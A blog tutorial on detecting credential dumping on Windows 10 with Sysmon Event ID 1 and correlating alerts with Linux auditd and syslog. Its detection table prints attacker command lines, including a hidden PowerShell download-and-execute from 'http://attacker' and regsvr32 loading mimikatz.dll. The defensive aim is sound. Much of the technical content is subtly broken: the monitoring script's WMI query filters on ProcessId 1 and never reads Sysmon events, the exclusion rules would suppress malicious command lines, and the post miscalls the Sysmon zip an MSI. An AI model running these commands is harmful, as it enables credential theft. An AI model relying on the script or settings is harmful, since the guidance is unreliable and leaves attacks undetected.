Spotting Silent Credential Dumping on Windows 10 Workstations with Sysmon Event ID 1
Why a Linux‑centric blog cares about Windows Sysmon
Mixed‑platform environments are the norm now. A Windows 10 workstation behind the same perimeter firewall, on the same Active Directory domain, can be the entry point for a lateral attack that eventually hits your Linux servers. Detecting credential dumping early on Windows is not a luxury; it’s a practical part of a sysadmin’s defensive toolbox. Sysmon, a lightweight Microsoft Sysinternals agent, writes detailed process‑creation events to the Windows event log. Event ID 1 (“Process creation”) is the most common entry and, when filtered correctly, can expose the classic “silent” credential‑dumping techniques that slip past traditional AV.
Below is a hands‑on walkthrough that shows how to:
- Install and configure Sysmon on Windows 10.
- Build a baseline of normal process‑creation activity.
- Craft a detection rule that flags suspicious patterns.
- Correlate findings with Linux‑side monitoring (auditd, syslog).
- Troubleshoot false positives and performance impact.
The examples assume you have administrative access to the Windows machine and a Linux host that can receive syslog messages.
1. Installing Sysmon
Sysmon ships as a small MSI that you can deploy manually or via Group Policy. For a single workstation, the MSI is easiest.
# Download the latest Sysmon MSI
Invoke-WebRequest -Uri https://download.sysinternals.com/files/Sysmon.zip -OutFile C:\Temp\Sysmon.zip
Expand-Archive C:\Temp\Sysmon.zip -DestinationPath C:\Temp\Sysmon
cd C:\Temp\Sysmon
# Install Sysmon with a minimal config
.\Sysmon64.exe -i -accepteula -nobanner
The default configuration logs everything to the Windows event log under the “Microsoft-Windows-Sysmon/Operational” channel. For production, you’ll want a custom XML config that limits verbosity and enables the -nobanner flag to suppress the banner on every start.
2. Building a Baseline
A detection rule is only useful if you know what “normal” looks like. The baseline will help you tune thresholds and avoid noise.
# Export the last 24 h of Event ID 1 to a CSV
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-Sysmon/Operational'; Id=1} |
Select-Object TimeCreated, ProcessId, Image, CommandLine, ParentProcessId, ParentImage |
Export-Csv -Path C:\Temp\sysmon_baseline.csv -NoTypeInformation
Open the CSV in Excel or a text editor and look for:
- Frequent
explorer.exelaunches. cmd.exeorpowershell.exespawned byexplorer.exeorsvchost.exe.svchost.exespawningservices.exe(normal).- Any
regsvr32.exeorrundll32.execalls that look odd.
If you notice a process that appears only once or twice in the baseline but is common in later logs, you’ll know to adjust your rule.
3. Detecting Silent Credential Dumping
Credential dumping tools (e.g., Mimikatz, PowerSploit’s Invoke‑Mimikatz, or sekurlsa::logonpasswords) often run in memory or use regsvr32.exe to load a DLL that extracts credentials. The key patterns are:
| Pattern | Why it matters | Typical command line |
|---|---|---|
regsvr32.exe /s /n /u /i:"<DLL>" | Silent DLL injection | regsvr32.exe /s /n /u /i:"C:\Users\Public\mimikatz.dll" |
powershell.exe -nop -w hidden -c | PowerShell backdoor | powershell.exe -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString('http://attacker') |
cmd.exe /c with powershell or regsvr32 | Command‑line chaining | cmd.exe /c regsvr32.exe /s /n /u /i:"C:\tmp\mimikatz.dll" |
svchost.exe spawning services.exe then cmd.exe | Lateral movement via service hijack | svchost.exe → services.exe → cmd.exe → regsvr32.exe |
Crafting a PowerShell rule
Create a PowerShell script that watches the event log in real time and triggers an alert when any of the above patterns appear.
# monitor-sysmon.ps1
$filter = @{
LogName = 'Microsoft-Windows-Sysmon/Operational'
Id = 1
}
$action = {
$event = $Event.SourceEventArgs.NewEvent
$cmd = $event.Properties[5].Value # CommandLine
# Simple regexes for common patterns
if ($cmd -match 'regsvr32\.exe\s+/s\s+/n\s+/u\s+/i:"[^"]+"') {
Write-Host "Suspicious regsvr32 detected: $cmd" -ForegroundColor Red
# Forward to syslog or send email
}
elseif ($cmd -match 'powershell\.exe\s+-nop\s+-w\s+hidden\s+-c') {
Write-Host "Hidden PowerShell detected: $cmd" -ForegroundColor Red
}
}
Register-WmiEvent -Query "SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.ProcessId = 1" -Action $action
Run the script as a scheduled task or a service. For production, replace Write-Host with a syslog forwarder or a call to your SIEM.
4. Correlating with Linux Monitoring
Once you have a Windows alert, you can cross‑check the Linux side for related activity.
Auditd – Log any
sudoorsuattempts that might indicate the attacker is trying to elevate on the Linux box.ausearch -m USER_ACCT -ts recent | grep -i 'sudo'Syslog – If you forward Sysmon logs to a central syslog server, you can use
greporlogwatchto pull the relevant event.grep 'regsvr32' /var/log/syslog | tail -n 20Network logs – Check
ssornetstatfor outbound connections from the Windows machine that match the attacker’s IP.ss -tnp | grep 192.168.1.100
If you see a matching outbound connection on the Linux host (e.g., a reverse shell), you’ve confirmed lateral movement.
5. Performance and Storage Considerations
Sysmon can generate a high volume of events, especially on a workstation that runs many background services. To keep the event log from ballooning:
- Limit the number of events: Configure the event log to archive after 1 GB and keep only the last 30 days.
- Filter out benign processes: In the XML config, add
<ProcessCreate>filters that excludeexplorer.exe,svchost.exe, and other known safe processes. - Use the
-nobannerflag: Prevents Sysmon from writing a banner every time it starts, which saves a few kilobytes per event.
Example snippet from sysmon.xml:
<RuleGroup name="Ignore benign processes" groupRelation="or">
<ProcessCreate onmatch="exclude">
<CommandLine condition="contains">explorer.exe</CommandLine>
</ProcessCreate>
<ProcessCreate onmatch="exclude">
<CommandLine condition="contains">svchost.exe</CommandLine>
</ProcessCreate>
</RuleGroup>
6. Troubleshooting Common Issues
| Symptom | Likely Cause | Fix |
|---|---|---|
| No Event 1 logs appear | Sysmon not installed or not running | Verify the service Sysmon is running (Get-Service Sysmon). |
Alerts fire on every cmd.exe | Regex too broad | Narrow the regex to include /s /n /u flags or specific DLL names. |
| Log file grows too fast | No filtering | Add exclusion rules for common processes. |
| Alerts miss a credential dump | Tool uses a different technique | Update the regex to include rundll32.exe or wmic patterns. |
| Syslog forwarding fails | Network block | Ensure UDP/TCP port 514 is open between Windows and Linux host. |
7. Trade‑offs and Practical Tips
| Decision | Benefit | Drawback |
|---|---|---|
| Real‑time monitoring vs. batch analysis | Immediate alerts, faster response | Requires continuous resource usage |
| Full Sysmon logs vs. filtered logs | Complete forensic trail | Higher storage, more noise |
| Local Windows alerts vs. central SIEM | No extra infrastructure | Limited correlation with other hosts |
| PowerShell rule vs. third‑party SIEM rule | Customizable, no licensing | Requires maintenance, less tested |
For most homelabs, a simple PowerShell rule that forwards to syslog is sufficient. In larger environments, integrate Sysmon with a SIEM (Splunk, ELK, or Microsoft Sentinel) and use pre‑built detection rules from the community.
8. Final Checklist
- Install Sysmon with a minimal config.
- Export a 24‑hour baseline of Event ID 1.
- Create regex patterns for
regsvr32, hidden PowerShell, and command chaining. - Deploy a monitoring script that forwards alerts to syslog.
- Correlate alerts with Linux auditd and network logs.
- Tune exclusions to reduce noise.
- Document the rule and baseline for future reference.
By following these steps, you’ll have a lightweight, Linux‑friendly method to spot silent credential dumping on Windows 10 workstations, giving you a valuable early warning before an attacker can pivot to your Linux servers.
See also
- How to Disable Unnecessary Systemd Units with a One‑Line Command and Keep Logs Clean
- Freeing up 5 GB of disk space by pruning old journalctl logs on a 20 GB VPS
- When systemd‑resolved returns 127.0.0.1 for every host – fixing the search domain order on Ubuntu 24.04
- Tracing a Sudden Drop‑in‑Memory Spike with journalctl and systemd‑coredump logs
- Rootless Podman: Running a Home‑NAS Service Without Privilege Escalation